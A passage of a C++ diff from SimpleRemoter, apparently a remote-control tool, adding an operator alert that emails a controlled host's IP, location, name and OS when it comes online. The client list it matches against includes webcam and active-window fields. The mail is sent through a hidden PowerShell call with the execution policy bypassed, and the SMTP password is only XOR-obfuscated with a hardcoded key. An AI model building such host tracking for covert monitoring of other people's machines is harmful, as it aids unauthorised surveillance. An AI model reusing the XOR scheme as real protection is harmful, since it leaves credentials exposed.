||||
|
||||
// Rule settings (currently only one rule)
|
||||
NotifyRule& rule = m_config.GetRule();
|
||||
rule.enabled = cfg.GetInt("Rule_0", "Enabled", 0) != 0;
|
||||
rule.triggerType = (NotifyTriggerType)cfg.GetInt("Rule_0", "TriggerType", NOTIFY_TRIGGER_HOST_ONLINE);
|
||||
rule.columnIndex = cfg.GetInt("Rule_0", "ColumnIndex", ONLINELIST_COMPUTER_NAME);
|
||||
rule.matchPattern = cfg.GetStr("Rule_0", "MatchPattern", "");
|
||||
}
|
||||
|
||||
void NotifyManager::SaveConfig()
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
config cfg(GetConfigPath());
|
||||
|
||||
// SMTP settings
|
||||
cfg.SetStr("SMTP", "Server", m_config.smtp.server);
|
||||
cfg.SetInt("SMTP", "Port", m_config.smtp.port);
|
||||
cfg.SetInt("SMTP", "UseSSL", m_config.smtp.useSSL ? 1 : 0);
|
||||
cfg.SetStr("SMTP", "Username", m_config.smtp.username);
|
||||
cfg.SetStr("SMTP", "Password", EncryptPassword(m_config.smtp.password));
|
||||
cfg.SetStr("SMTP", "Recipient", m_config.smtp.recipient);
|
||||
|
||||
// Rule settings
|
||||
const NotifyRule& rule = m_config.GetRule();
|
||||
cfg.SetInt("Rule_0", "Enabled", rule.enabled ? 1 : 0);
|
||||
cfg.SetInt("Rule_0", "TriggerType", (int)rule.triggerType);
|
||||
cfg.SetInt("Rule_0", "ColumnIndex", rule.columnIndex);
|
||||
cfg.SetStr("Rule_0", "MatchPattern", rule.matchPattern);
|
||||
}
|
||||
|
||||
bool NotifyManager::ShouldNotify(context* ctx, std::string& outMatchedKeyword, const CString& remark)
|
||||
{
|
||||
if (!m_powerShellAvailable) return false;
|
||||
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
|
||||
const NotifyRule& rule = m_config.GetRule();
|
||||
if (!rule.enabled) return false;
|
||||
if (rule.triggerType != NOTIFY_TRIGGER_HOST_ONLINE) return false;
|
||||
if (rule.matchPattern.empty()) return false;
|
||||
if (!m_config.smtp.IsValid()) return false;
|
||||
|
||||
uint64_t clientId = ctx->GetClientID();
|
||||
time_t now = time(nullptr);
|
||||
|
||||
// Cooldown check
|
||||
auto it = m_config.lastNotifyTime.find(clientId);
|
||||
if (it != m_config.lastNotifyTime.end()) {
|
||||
time_t elapsed = now - it->second;
|
||||
if (elapsed < NOTIFY_COOLDOWN_MINUTES * 60) {
|
||||
return false; // Still in cooldown period
|
||||
}
|
||||
}
|
||||
|
||||
// Get column text (for COMPUTER_NAME column, prefer remark if available)
|
||||
CString colText;
|
||||
if (rule.columnIndex == ONLINELIST_COMPUTER_NAME && !remark.IsEmpty()) {
|
||||
colText = remark;
|
||||
} else {
|
||||
colText = ctx->GetClientData(rule.columnIndex);
|
||||
}
|
||||
if (colText.IsEmpty()) return false;
|
||||
|
||||
// Convert to std::string for matching
|
||||
std::string colTextStr = CT2A(colText, CP_UTF8);
|
||||
|
||||
// Split pattern by semicolon and check each keyword
|
||||
std::vector<std::string> keywords = SplitString(rule.matchPattern, ';');
|
||||
for (const auto& kw : keywords) {
|
||||
std::string trimmed = Trim(kw);
|
||||
if (trimmed.empty()) continue;
|
||||
|
||||
// Case-insensitive substring search
|
||||
std::string colLower = colTextStr;
|
||||
std::string kwLower = trimmed;
|
||||
std::transform(colLower.begin(), colLower.end(), colLower.begin(), ::tolower);
|
||||
std::transform(kwLower.begin(), kwLower.end(), kwLower.begin(), ::tolower);
|
||||
|
||||
if (colLower.find(kwLower) != std::string::npos) {
|
||||
outMatchedKeyword = trimmed;
|
||||
m_config.lastNotifyTime[clientId] = now;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void NotifyManager::BuildHostOnlineEmail(context* ctx, const std::string& matchedKeyword,
|
||||
std::string& outSubject, std::string& outBody)
|
||||
{
|
||||
// Copy rule info under lock
|
||||
int columnIndex;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
columnIndex = m_config.GetRule().columnIndex;
|
||||
}
|
||||
|
||||
// Get host info
|
||||
std::string computerName = CT2A(ctx->GetClientData(ONLINELIST_COMPUTER_NAME), CP_UTF8);
|
||||
std::string ip = CT2A(ctx->GetClientData(ONLINELIST_IP), CP_UTF8);
|
||||
std::string location = CT2A(ctx->GetClientData(ONLINELIST_LOCATION), CP_UTF8);
|
||||
std::string os = CT2A(ctx->GetClientData(ONLINELIST_OS), CP_UTF8);
|
||||
std::string version = CT2A(ctx->GetClientData(ONLINELIST_VERSION), CP_UTF8);
|
||||
|
||||
// Get current time
|
||||
time_t now = time(nullptr);
|
||||
char timeStr[64];
|
||||
struct tm tm_info;
|
||||
localtime_s(&tm_info, &now);
|
||||
strftime(timeStr, sizeof(timeStr), "%Y-%m-%d %H:%M:%S", &tm_info);
|
||||
|
||||
// Build subject
|
||||
std::ostringstream ss;
|
||||
ss << "[SimpleRemoter] Host Online: " << computerName << " matched \"" << matchedKeyword << "\"";
|
||||
outSubject = ss.str();
|
||||
|
||||
// Build body (HTML format)
|
||||
ss.str("");
|
||||
ss << "<b>Host Online Notification</b><br><br>";
|
||||
ss << "Trigger Time: " << timeStr << "<br>";
|
||||
ss << "Match Rule: " << GetColumnName(columnIndex)
|
||||
<< " contains \"" << matchedKeyword << "\"<br><br>";
|
||||
ss << "<b>Host Information:</b><br>";
|
||||
ss << " IP Address: " << ip << "<br>";
|
||||
ss << " Location: " << location << "<br>";
|
||||
ss << " Computer Name: " << computerName << "<br>";
|
||||
ss << " OS: " << os << "<br>";
|
||||
ss << " Version: " << version << "<br>";
|
||||
ss << "<br>--<br><i>This email was sent automatically by SimpleRemoter</i>";
|
||||
|
||||
outBody = ss.str();
|
||||
}
|
||||
|
||||
void NotifyManager::SendNotifyEmailAsync(const std::string& subject, const std::string& body)
|
||||
{
|
||||
if (!m_powerShellAvailable) return;
|
||||
|
||||
// Copy SMTP config under lock
|
||||
SmtpConfig smtp;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
if (!m_config.smtp.IsValid()) return;
|
||||
smtp = m_config.smtp;
|
||||
}
|
||||
|
||||
std::string subjectCopy = subject;
|
||||
std::string bodyCopy = body;
|
||||
|
||||
std::thread([this, smtp, subjectCopy, bodyCopy]() {
|
||||
// Build PowerShell command
|
||||
std::ostringstream ps;
|
||||
ps << "powershell -NoProfile -ExecutionPolicy Bypass -Command \"";
|
||||
ps << "$pass = ConvertTo-SecureString '" << EscapePowerShell(smtp.password) << "' -AsPlainText -Force; ";
|
||||
ps << "$cred = New-Object PSCredential('" << EscapePowerShell(smtp.username) << "', $pass); ";
|
||||
ps << "Send-MailMessage ";
|
||||
ps << "-From '" << EscapePowerShell(smtp.username) << "' ";
|
||||
ps << "-To '" << EscapePowerShell(smtp.GetRecipient()) << "' ";
|
||||
ps << "-Subject '" << EscapePowerShell(subjectCopy) << "' ";
|
||||
ps << "-Body '" << EscapePowerShell(bodyCopy) << "' ";
|
||||
ps << "-SmtpServer '" << EscapePowerShell(smtp.server) << "' ";
|
||||
ps << "-Port " << smtp.port << " ";
|
||||
if (smtp.useSSL) {
|
||||
ps << "-UseSsl ";
|
||||
}
|
||||
ps << "-Credential $cred ";
|
||||
ps << "-Encoding UTF8 -BodyAsHtml\"";
|
||||
|
||||
DWORD exitCode;
|
||||
ExecutePowerShell(ps.str(), &exitCode, true);
|
||||
}).detach();
|
||||
}
|
||||
|
||||
std::string NotifyManager::SendTestEmail()
|
||||
{
|
||||
if (!m_powerShellAvailable) {
|
||||
return "PowerShell is not available. Requires Windows 10 or later.";
|
||||
}
|
||||
|
||||
// Copy SMTP config under lock
|
||||
SmtpConfig smtp;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_mutex);
|
||||
if (!m_config.smtp.IsValid()) {
|
||||
return "SMTP configuration is incomplete.";
|
||||
}
|
||||
smtp = m_config.smtp;
|
||||
}
|
||||
|
||||
std::string subject = "[SimpleRemoter] Test Email";
|
||||
std::string body = "This is a test email from SimpleRemoter notification system.<br><br>If you received this email, the configuration is correct.";
|
||||
|
||||
// Build PowerShell command - output error to temp file for capture
|
||||
char tempPath[MAX_PATH], tempFile[MAX_PATH];
|
||||
GetTempPathA(MAX_PATH, tempPath);
|
||||
GetTempFileNameA(tempPath, "notify", 0, tempFile);
|
||||
|
||||
std::ostringstream ps;
|
||||
ps << "powershell -NoProfile -ExecutionPolicy Bypass -Command \"";
|
||||
ps << "$ErrorActionPreference = 'Stop'; ";
|
||||
ps << "try { ";
|
||||
ps << "$pass = ConvertTo-SecureString '" << EscapePowerShell(smtp.password) << "' -AsPlainText -Force; ";
|
||||
ps << "$cred = New-Object PSCredential('" << EscapePowerShell(smtp.username) << "', $pass); ";
|
||||
ps << "Send-MailMessage ";
|
||||
ps << "-From '" << EscapePowerShell(smtp.username) << "' ";
|
||||
ps << "-To '" << EscapePowerShell(smtp.GetRecipient()) << "' ";
|
||||
ps << "-Subject '" << EscapePowerShell(subject) << "' ";
|
||||
ps << "-Body '" << EscapePowerShell(body) << "' ";
|
||||
ps << "-SmtpServer '" << EscapePowerShell(smtp.server) << "' ";
|
||||
ps << "-Port " << smtp.port << " ";
|
||||
if (smtp.useSSL) {
|
||||
ps << "-UseSsl ";
|
||||
}
|
||||
ps << "-Credential $cred ";
|
||||
ps << "-Encoding UTF8 -BodyAsHtml; ";
|
||||
ps << "'SUCCESS' | Out-File -FilePath '" << tempFile << "' -Encoding UTF8 ";
|
||||
ps << "} catch { $_.Exception.Message | Out-File -FilePath '" << tempFile << "' -Encoding UTF8; exit 1 }\"";
|
||||
|
||||
DWORD exitCode = 1;
|
||||
ExecutePowerShell(ps.str(), &exitCode, true);
|
||||
|
||||
// Read result from temp file (skip UTF-8 BOM if present)
|
||||
std::string result;
|
||||
std::ifstream ifs(tempFile, std::ios::binary);
|
||||
if (ifs.is_open()) {
|
||||
std::getline(ifs, result);
|
||||
// Skip UTF-8 BOM (EF BB BF) or UTF-16 LE BOM (FF FE)
|
||||
if (result.size() >= 3 && (unsigned char)result[0] == 0xEF &&
|
||||
(unsigned char)result[1] == 0xBB && (unsigned char)result[2] == 0xBF) {
|
||||
result = result.substr(3);
|
||||
} else if (result.size() >= 2 && (unsigned char)result[0] == 0xFF &&
|
||||
(unsigned char)result[1] == 0xFE) {
|
||||
// UTF-16 LE - convert to ASCII (simple case)
|
||||
std::string converted;
|
||||
for (size_t i = 2; i < result.size(); i += 2) {
|
||||
if (result[i] != 0) converted += result[i];
|
||||
}
|
||||
result = converted;
|
||||
}
|
||||
ifs.close();
|
||||
}
|
||||
DeleteFileA(tempFile);
|
||||
|
||||
if (exitCode == 0 && result.find("SUCCESS") != std::string::npos) {
|
||||
return "success";
|
||||
} else {
|
||||
// Log detailed error for debugging
|
||||
if (result.empty()) {
|
||||
TRACE("[Notify] SendTestEmail failed, exit code: %d\n", exitCode);
|
||||
} else {
|
||||
TRACE("[Notify] SendTestEmail failed: %s\n", result.c_str());
|
||||
}
|
||||
return "failed";
|
||||
}
|
||||
}
|
||||
|
||||
bool NotifyManager::ExecutePowerShell(const std::string& command, DWORD* exitCode, bool hidden)
|
||||
{
|
||||
STARTUPINFOA si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
|
||||
if (hidden) {
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
}
|
||||
|
||||
// Create command buffer (must be modifiable for CreateProcessA)
|
||||
std::vector<char> cmdBuffer(command.begin(), command.end());
|
||||
cmdBuffer.push_back('\0');
|
||||
|
||||
BOOL result = CreateProcessA(
|
||||
NULL,
|
||||
cmdBuffer.data(),
|
||||
NULL, NULL,
|
||||
FALSE,
|
||||
hidden ? CREATE_NO_WINDOW : 0,
|
||||
NULL, NULL,
|
||||
&si, &pi
|
||||
);
|
||||
|
||||
if (!result) {
|
||||
if (exitCode) *exitCode = GetLastError();
|
||||
return false;
|
||||
}
|
||||
|
||||
// Wait for process to complete (with timeout for test email)
|
||||
WaitForSingleObject(pi.hProcess, 30000); // 30 second timeout
|
||||
|
||||
if (exitCode) {
|
||||
GetExitCodeProcess(pi.hProcess, exitCode);
|
||||
}
|
||||
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
std::string NotifyManager::EscapePowerShell(const std::string& str)
|
||||
{
|
||||
std::string result;
|
||||
result.reserve(str.size() * 2);
|
||||
|
||||
for (char c : str) {
|
||||
if (c == '\'') {
|
||||
result += "''"; // Escape single quote by doubling
|
||||
} else if (c == '\n') {
|
||||
result += "`n"; // PowerShell newline escape
|
||||
} else if (c == '\r') {
|
||||
result += "`r";
|
||||
} else {
|
||||
result += c;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
std::string NotifyManager::EncryptPassword(const std::string& password)
|
||||
{
|
||||
// Simple XOR obfuscation (not secure, just prevents casual reading)
|
||||
const char key[] = "YamaNotify2026";
|
||||
std::string result;
|
||||
result.reserve(password.size() * 2);
|
||||
|
||||
for (size_t i = 0; i < password.size(); i++) {
|
||||
char c = password[i] ^ key[i % (sizeof(key) - 1)];
|
||||
char hex[3];
|
||||
sprintf_s(hex, "%02X", (unsigned char)c);
|
||||
result += hex;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
std::string NotifyManager::DecryptPassword(const std::string& encrypted)
|
||||
{
|
||||
if (encrypted.empty() || encrypted.size() % 2 != 0) {
|
||||
return "";
|
||||
}
|
||||
|
||||
const char key[] = "YamaNotify2026";
|
||||
std::string result;
|
||||
result.reserve(encrypted.size() / 2);
|
||||
|
||||
for (size_t i = 0; i < encrypted.size(); i += 2) {
|
||||
char hex[3] = { encrypted[i], encrypted[i + 1], 0 };
|
||||
char c = (char)strtol(hex, nullptr, 16);
|
||||
c ^= key[(i / 2) % (sizeof(key) - 1)];
|
||||
result += c;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
std::vector<std::string> NotifyManager::SplitString(const std::string& str, char delimiter)
|
||||
{
|
||||
std::vector<std::string> tokens;
|
||||
std::istringstream stream(str);
|
||||
std::string token;
|
||||
|
||||
while (std::getline(stream, token, delimiter)) {
|
||||
tokens.push_back(token);
|
||||
}
|
||||
|
||||
return tokens;
|
||||
}
|
||||
|
||||
std::string NotifyManager::Trim(const std::string& str)
|
||||
{
|
||||
size_t start = str.find_first_not_of(" \t\r\n");
|
||||
if (start == std::string::npos) return "";
|
||||
|
||||
size_t end = str.find_last_not_of(" \t\r\n");
|
||||
return str.substr(start, end - start + 1);
|
||||
}
|
||||
82
server/2015Remote/NotifyManager.h
Normal file
82
server/2015Remote/NotifyManager.h
Normal file
@@ -0,0 +1,82 @@
|
||||
#pragma once
|
||||
|
||||
#include "NotifyConfig.h"
|
||||
#include <functional>
|
||||
#include <mutex>
|
||||
|
||||
// Forward declaration
|
||||
class context;
|
||||
|
||||
class NotifyManager {
|
||||
public:
|
||||
static NotifyManager& Instance();
|
||||
|
||||
// Initialize the manager (call once at startup)
|
||||
void Initialize();
|
||||
|
||||
// Check if PowerShell is available for sending emails
|
||||
bool IsPowerShellAvailable() const { return m_powerShellAvailable; }
|
||||
|
||||
// Get/Set configuration (thread-safe copy)
|
||||
NotifyConfig GetConfig();
|
||||
void SetConfig(const NotifyConfig& config);
|
||||
|
||||
// Load/Save configuration
|
||||
void LoadConfig();
|
||||
void SaveConfig();
|
||||
|
||||
// Check if notification should be sent for this host
|
||||
// If yes, outMatchedKeyword will contain the matched keyword
|
||||
// remark: optional host remark (used for COMPUTER_NAME column if not empty)
|
||||
bool ShouldNotify(context* ctx, std::string& outMatchedKeyword, const CString& remark = _T(""));
|
||||
|
||||
// Send notification email asynchronously
|
||||
// subject and body should be UTF-8 encoded
|
||||
void SendNotifyEmailAsync(const std::string& subject, const std::string& body);
|
||||
|
||||
// Send a test email (synchronous, returns success/error message)
|
||||
std::string SendTestEmail();
|
||||
|
||||
// Build notification email content for host online event
|
||||
void BuildHostOnlineEmail(context* ctx, const std::string& matchedKeyword,
|
||||
std::string& outSubject, std::string& outBody);
|
||||
|
||||
private:
|
||||
NotifyManager();
|
||||
~NotifyManager() = default;
|
||||
NotifyManager(const NotifyManager&) = delete;
|
||||
NotifyManager& operator=(const NotifyManager&) = delete;
|
||||
|
||||
// Detect if PowerShell Send-MailMessage is available
|
||||
bool DetectPowerShellSupport();
|
||||
|
||||
// Get config file path
|
||||
std::string GetConfigPath() const;
|
||||
|
||||
// Simple XOR encryption for password (not secure, just obfuscation)
|
||||
std::string EncryptPassword(const std::string& password);
|
||||
std::string DecryptPassword(const std::string& encrypted);
|
||||
|
||||
// Escape special characters for PowerShell string
|
||||
std::string EscapePowerShell(const std::string& str);
|
||||
|
||||
// Execute PowerShell command and get exit code
|
||||
bool ExecutePowerShell(const std::string& command, DWORD* exitCode = nullptr, bool hidden = true);
|
||||
|
||||
// Split string by delimiter
|
||||
std::vector<std::string> SplitString(const std::string& str, char delimiter);
|
||||
|
||||
// Trim whitespace from string
|
||||
std::string Trim(const std::string& str);
|
||||
|
||||
private:
|
||||
bool m_initialized;
|
||||
bool m_powerShellAvailable;
|
||||
NotifyConfig m_config;
|
||||
mutable std::mutex m_mutex; // Protects m_config access
|
||||
};
|
||||
|
||||
// Convenience function
|
||||
inline NotifyManager& GetNotifyManager() {
|
||||
return NotifyManager::Instance();
|
||||
}
|
||||
268
server/2015Remote/NotifySettingsDlg.cpp
Normal file
268
server/2015Remote/NotifySettingsDlg.cpp
Normal file
@@ -0,0 +1,268 @@
|
||||
#include "stdafx.h"
|
||||
#include "NotifySettingsDlg.h"
|
||||
#include "NotifyManager.h"
|
||||
#include "context.h"
|
||||
|
||||
NotifySettingsDlg::NotifySettingsDlg(CWnd* pParent)
|
||||
: CDialogLangEx(IDD_DIALOG_NOTIFY_SETTINGS, pParent)
|
||||
, m_powerShellAvailable(false)
|
||||
{
|
||||
}
|
||||
|
||||
NotifySettingsDlg::~NotifySettingsDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void NotifySettingsDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogLangEx::DoDataExchange(pDX);
|
||||
|
||||
DDX_Control(pDX, IDC_EDIT_SMTP_SERVER, m_editSmtpServer);
|
||||
DDX_Control(pDX, IDC_EDIT_SMTP_PORT, m_editSmtpPort);
|
||||
DDX_Control(pDX, IDC_CHECK_SMTP_SSL, m_checkSmtpSSL);
|
||||
DDX_Control(pDX, IDC_EDIT_SMTP_USER, m_editSmtpUser);
|
||||
DDX_Control(pDX, IDC_EDIT_SMTP_PASS, m_editSmtpPass);
|
||||
DDX_Control(pDX, IDC_EDIT_SMTP_RECIPIENT, m_editSmtpRecipient);
|
||||
|
||||
DDX_Control(pDX, IDC_CHECK_NOTIFY_ENABLED, m_checkNotifyEnabled);
|
||||
DDX_Control(pDX, IDC_COMBO_NOTIFY_TYPE, m_comboNotifyType);
|
||||
DDX_Control(pDX, IDC_COMBO_NOTIFY_COLUMN, m_comboNotifyColumn);
|
||||
DDX_Control(pDX, IDC_EDIT_NOTIFY_PATTERN, m_editNotifyPattern);
|
||||
|
||||
DDX_Control(pDX, IDC_STATIC_NOTIFY_WARNING, m_staticWarning);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(NotifySettingsDlg, CDialogLangEx)
|
||||
ON_BN_CLICKED(IDC_BTN_TEST_EMAIL, &NotifySettingsDlg::OnBnClickedBtnTestEmail)
|
||||
ON_BN_CLICKED(IDC_CHECK_NOTIFY_ENABLED, &NotifySettingsDlg::OnBnClickedCheckNotifyEnabled)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL NotifySettingsDlg::OnInitDialog()
|
||||
{
|
||||
CDialogLangEx::OnInitDialog();
|
||||
|
||||
// Set translatable text for static controls
|
||||
SetDlgItemText(IDC_GROUP_SMTP, _TR(_T("SMTP 配置")));
|
||||
SetDlgItemText(IDC_STATIC_SMTP_SERVER, _TR(_T("服务器:")));
|
||||
SetDlgItemText(IDC_STATIC_SMTP_PORT, _TR(_T("端口:")));
|
||||
SetDlgItemText(IDC_CHECK_SMTP_SSL, _TR(_T("使用 SSL/TLS")));
|
||||
SetDlgItemText(IDC_STATIC_SMTP_USER, _TR(_T("用户名:")));
|
||||
SetDlgItemText(IDC_STATIC_SMTP_PASS, _TR(_T("密码:")));
|
||||
SetDlgItemText(IDC_STATIC_SMTP_HINT, _TR(_T("(Gmail 需使用应用专用密码)")));
|
||||
SetDlgItemText(IDC_STATIC_SMTP_RECIPIENT, _TR(_T("收件人:")));
|
||||
SetDlgItemText(IDC_BTN_TEST_EMAIL, _TR(_T("测试")));
|
||||
SetDlgItemText(IDC_GROUP_NOTIFY_RULE, _TR(_T("通知规则")));
|
||||
SetDlgItemText(IDC_CHECK_NOTIFY_ENABLED, _TR(_T("启用通知")));
|
||||
SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
|
||||
SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
|
||||
SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
|
||||
SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(多个关键词用分号分隔,匹配任一项即触发通知)")));
|
||||
SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
SetWindowText(_TR("通知设置"));
|
||||
|
||||
// Check PowerShell availability
|
||||
m_powerShellAvailable = GetNotifyManager().IsPowerShellAvailable();
|
||||
|
||||
// Show warning if PowerShell is not available
|
||||
if (!m_powerShellAvailable) {
|
||||
m_staticWarning.SetWindowText(_T("Warning: Requires Windows 10 or later with PowerShell 5.1+"));
|
||||
// Disable all controls except OK/Cancel
|
||||
GetDlgItem(IDC_EDIT_SMTP_SERVER)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_EDIT_SMTP_PORT)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_CHECK_SMTP_SSL)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_EDIT_SMTP_USER)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_EDIT_SMTP_PASS)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_EDIT_SMTP_RECIPIENT)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_BTN_TEST_EMAIL)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_CHECK_NOTIFY_ENABLED)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_COMBO_NOTIFY_TYPE)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_COMBO_NOTIFY_COLUMN)->EnableWindow(FALSE);
|
||||
GetDlgItem(IDC_EDIT_NOTIFY_PATTERN)->EnableWindow(FALSE);
|
||||
} else {
|
||||
m_staticWarning.SetWindowText(_T(""));
|
||||
}
|
||||
|
||||
PopulateComboBoxes();
|
||||
LoadSettings();
|
||||
UpdateControlStates();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void NotifySettingsDlg::PopulateComboBoxes()
|
||||
{
|
||||
// Trigger type combo (currently only "Host Online")
|
||||
m_comboNotifyType.ResetContent();
|
||||
m_comboNotifyType.AddString(_TR("主机上线"));
|
||||
m_comboNotifyType.SetItemData(0, NOTIFY_TRIGGER_HOST_ONLINE);
|
||||
m_comboNotifyType.SetCurSel(0);
|
||||
|
||||
// Column combo - use translatable strings
|
||||
m_comboNotifyColumn.ResetContent();
|
||||
struct { int id; const TCHAR* name; } columns[] = {
|
||||
{ 0, _T("IP地址") },
|
||||
{ 1, _T("地址") },
|
||||
{ 2, _T("地理位置") },
|
||||
{ 3, _T("计算机名") },
|
||||
{ 4, _T("操作系统") },
|
||||
{ 5, _T("CPU") },
|
||||
{ 6, _T("摄像头") },
|
||||
{ 7, _T("延迟") },
|
||||
{ 8, _T("版本") },
|
||||
{ 9, _T("安装时间") },
|
||||
{ 10, _T("活动窗口") },
|
||||
{ 11, _T("客户端类型") },
|
||||
};
|
||||
for (const auto& col : columns) {
|
||||
CString item;
|
||||
item.Format(_T("%d - %s"), col.id, _TR(col.name));
|
||||
m_comboNotifyColumn.AddString(item);
|
||||
m_comboNotifyColumn.SetItemData(m_comboNotifyColumn.GetCount() - 1, col.id);
|
||||
}
|
||||
m_comboNotifyColumn.SetCurSel(ONLINELIST_COMPUTER_NAME); // Default to computer name
|
||||
}
|
||||
|
||||
void NotifySettingsDlg::LoadSettings()
|
||||
{
|
||||
// Get current config from manager
|
||||
m_config = GetNotifyManager().GetConfig();
|
||||
|
||||
// SMTP settings
|
||||
m_editSmtpServer.SetWindowText(CString(m_config.smtp.server.c_str()));
|
||||
|
||||
CString portStr;
|
||||
portStr.Format(_T("%d"), m_config.smtp.port);
|
||||
m_editSmtpPort.SetWindowText(portStr);
|
||||
|
||||
m_checkSmtpSSL.SetCheck(m_config.smtp.useSSL ? BST_CHECKED : BST_UNCHECKED);
|
||||
m_editSmtpUser.SetWindowText(CString(m_config.smtp.username.c_str()));
|
||||
m_editSmtpPass.SetWindowText(CString(m_config.smtp.password.c_str()));
|
||||
m_editSmtpRecipient.SetWindowText(CString(m_config.smtp.recipient.c_str()));
|
||||
|
||||
// Rule settings
|
||||
const NotifyRule& rule = m_config.GetRule();
|
||||
m_checkNotifyEnabled.SetCheck(rule.enabled ? BST_CHECKED : BST_UNCHECKED);
|
||||
|
||||
// Set trigger type (currently only one option)
|
||||
m_comboNotifyType.SetCurSel(0);
|
||||
|
||||
// Set column
|
||||
if (rule.columnIndex >= 0 && rule.columnIndex < m_comboNotifyColumn.GetCount()) {
|
||||
m_comboNotifyColumn.SetCurSel(rule.columnIndex);
|
||||
}
|
||||
|
||||
m_editNotifyPattern.SetWindowText(CString(rule.matchPattern.c_str()));
|
||||
}
|
||||
|
||||
void NotifySettingsDlg::SaveSettings()
|
||||
{
|
||||
CString str;
|
||||
|
||||
// SMTP settings
|
||||
m_editSmtpServer.GetWindowText(str);
|
||||
m_config.smtp.server = CT2A(str, CP_UTF8);
|
||||
|
||||
m_editSmtpPort.GetWindowText(str);
|
||||
m_config.smtp.port = _ttoi(str);
|
||||
|
||||
m_config.smtp.useSSL = (m_checkSmtpSSL.GetCheck() == BST_CHECKED);
|
||||
|
||||
m_editSmtpUser.GetWindowText(str);
|
||||
m_config.smtp.username = CT2A(str, CP_UTF8);
|
||||
|
||||
m_editSmtpPass.GetWindowText(str);
|
||||
m_config.smtp.password = CT2A(str, CP_UTF8);
|
||||
|
||||
m_editSmtpRecipient.GetWindowText(str);
|
||||
m_config.smtp.recipient = CT2A(str, CP_UTF8);
|
||||
|
||||
// Rule settings
|
||||
NotifyRule& rule = m_config.GetRule();
|
||||
rule.enabled = (m_checkNotifyEnabled.GetCheck() == BST_CHECKED);
|
||||
|
||||
int sel = m_comboNotifyType.GetCurSel();
|
||||
rule.triggerType = (sel >= 0) ? (NotifyTriggerType)m_comboNotifyType.GetItemData(sel) : NOTIFY_TRIGGER_HOST_ONLINE;
|
||||
|
||||
sel = m_comboNotifyColumn.GetCurSel();
|
||||
rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
|
||||
|
||||
m_editNotifyPattern.GetWindowText(str);
|
||||
rule.matchPattern = CT2A(str, CP_UTF8);
|
||||
|
||||
// Update manager config and save
|
||||
GetNotifyManager().SetConfig(m_config);
|
||||
GetNotifyManager().SaveConfig();
|
||||
}
|
||||
|
||||
void NotifySettingsDlg::UpdateControlStates()
|
||||
{
|
||||
if (!m_powerShellAvailable) return;
|
||||
|
||||
BOOL enabled = (m_checkNotifyEnabled.GetCheck() == BST_CHECKED);
|
||||
m_comboNotifyType.EnableWindow(enabled);
|
||||
m_comboNotifyColumn.EnableWindow(enabled);
|
||||
m_editNotifyPattern.EnableWindow(enabled);
|
||||
}
|
||||
|
||||
void NotifySettingsDlg::OnOK()
|
||||
{
|
||||
SaveSettings();
|
||||
CDialogLangEx::OnOK();
|
||||
}
|
||||
|
||||
void NotifySettingsDlg::OnBnClickedBtnTestEmail()
|
||||
{
|
||||
// Temporarily save current UI values to config for testing
|
||||
CString str;
|
||||
|
||||
m_editSmtpServer.GetWindowText(str);
|
||||
m_config.smtp.server = CT2A(str, CP_UTF8);
|
||||
|
||||
m_editSmtpPort.GetWindowText(str);
|
||||
m_config.smtp.port = _ttoi(str);
|
||||
|
||||
m_config.smtp.useSSL = (m_checkSmtpSSL.GetCheck() == BST_CHECKED);
|
||||
|
||||
m_editSmtpUser.GetWindowText(str);
|
||||
m_config.smtp.username = CT2A(str, CP_UTF8);
|
||||
|
||||
m_editSmtpPass.GetWindowText(str);
|
||||
m_config.smtp.password = CT2A(str, CP_UTF8);
|
||||
|
||||
m_editSmtpRecipient.GetWindowText(str);
|
||||
m_config.smtp.recipient = CT2A(str, CP_UTF8);
|
||||
|
||||
// Update manager config temporarily
|
||||
NotifyConfig backup = GetNotifyManager().GetConfig();
|
||||
NotifyConfig tempConfig = backup;
|
||||
tempConfig.smtp = m_config.smtp;
|
||||
GetNotifyManager().SetConfig(tempConfig);
|
||||
|
||||
// Disable button during test
|
||||
GetDlgItem(IDC_BTN_TEST_EMAIL)->EnableWindow(FALSE);
|
||||
SetCursor(LoadCursor(NULL, IDC_WAIT));
|
||||
|
||||
